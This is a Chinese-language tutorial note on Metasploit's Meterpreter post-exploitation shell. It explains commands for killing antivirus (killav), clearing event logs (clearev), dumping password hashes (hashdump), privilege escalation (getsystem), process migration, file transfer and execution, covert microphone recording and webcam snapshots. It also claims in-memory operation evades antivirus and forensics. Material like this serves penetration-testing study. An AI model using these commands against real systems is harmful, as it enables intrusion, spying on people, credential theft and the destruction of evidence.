6. Metasploit之Metasploit木马
再学Metasploit
之前学习的Metasploit没有写笔记都忘掉了,这次叫完整的学习内容记录下来
要是自己通过什么漏洞或者什么方式拿到了shell,但是这个shell不是很方便,比如叫他做查看目标的桌面。监听目标的麦克风,打开目标的摄像头,都是很难实现的,
我们就可以使用Metasploit
他的工作方式
- 是完全在内存里面,不会写入硬盘里面,查杀硬盘的杀毒软件是无效的
- 他会注入到合法的进程里面
- 基于注入的进程上传和预加载DLL进行扩展模块的注入(客户端API)
- 基于注入的进程建立的socket连接建立加密的TLS通信隧道
- 利用TLS隧道进一步加载后续扩展模块(避免网络取证),这样就不能发现里面的传输的内容
客户端提供基于ruby的全特性的API ,他支持任何语言,
拿到的shell是这样的,就是Metasploit的shell
Metasploit的shell文件操作
这个shell 输入linux的命令也可以输入win系统命令也可以操控目标shell
如果想操控kali自己加上l
run
和bgrun
命令:多功能,拿到了目标的Metasploit的shell可以使用下面的模块run
是前台执行,bgrun
是后台执行bgrun
输入这个命令在按两下Tab键可以看到可以的功能
可以看到有290个可以用的功能
这个killav是可以杀死杀毒软件的
使用bgrun killav
这样就杀死了目标的杀毒软件
打开目标的桌面使用vnc功能,被攻击端操作的什么我都能看见
命令bgrun vnc
有的模块不能保证在目标机器上正常运行clearev
命令:清除win系统日志,
在运行里输入eventvwr
进入win系统日志
在kali进行Metasploit的shell清除日志
效果
但是有一个清除日志download
命令:下载目标系统文件命令
1
download 要下载的文件名字 要下载的地方


upload
命令:给目标系统上传
命令
1
upload 本地的文件 目标的目录


execute
命令:执行目标系统命令
可以执行,比如:文本,cmd,等等等这个是叫上了1
execute -f 要执行的命令
-i
在后台运行的意思
提出命令exit
getuid
命令:查看那个用户登录上了的
如果要修改用户可以用这个名getsystem
getprivs
命令:查看用户权限getproxy
命令:获取目标IE浏览器的代理getpid
命令:查看注入的进程的id 和migrate
命令:切换注入到其他进程里面
10.1getpid
命令
用ps
命令查看id
这个进程里面
10.2migrate
切换注入到其他进程里面
1
migrate 要注入的id数

hashdump
命令:查看目标用户的密码sysinfo
命令:目标操作系统信息kill
命令:杀死进程
用ps
查看进程id
1
kill 要杀死的进程id
reboot
命令:重启机器,这个都知道就不演示了shutdown
命令:关闭机器 这个都知道就不演示了shell
命令:获得操作系统的shellexit
退出show_mount
命令:查看硬盘search
命令:搜索目标系统的文件
网络相关的命令
arp
命令:查看目标机器的arp缓存netstat
命令:命令查看网络连接情况ifconfig
和ipconfig
命令:就不用说了都知道route
命令:查看目标的路由表
添加路由表和删除路由表这个我就不做演示了查看更多参数route -h
上面都是网络相关的命令
idletime
命令: 查看目标多长时间没有操控电脑了resource
命令:调用一个文件读取里面的命令
命令
1
resource -r 要指定的文件
其他的
record_mic
命令:黑客就可以用这个命令进行监听目标的麦克风命令
1
record_mic -d 要指定几秒
看一下效果

是完全可以听见声音的

webcam_list
命令:列出目标机器上的摄像头webcam_snap
命令:命令进行拍照可以实现偷窥
Meterpreter Python扩展
无需安装Python运行环境,就能运行原生Python代码
load python
– Help
– python_execute “print (‘asdasdas’)”
– python_execute “import os; cd = os.getcwd()” -r cd
– python_import -f find.py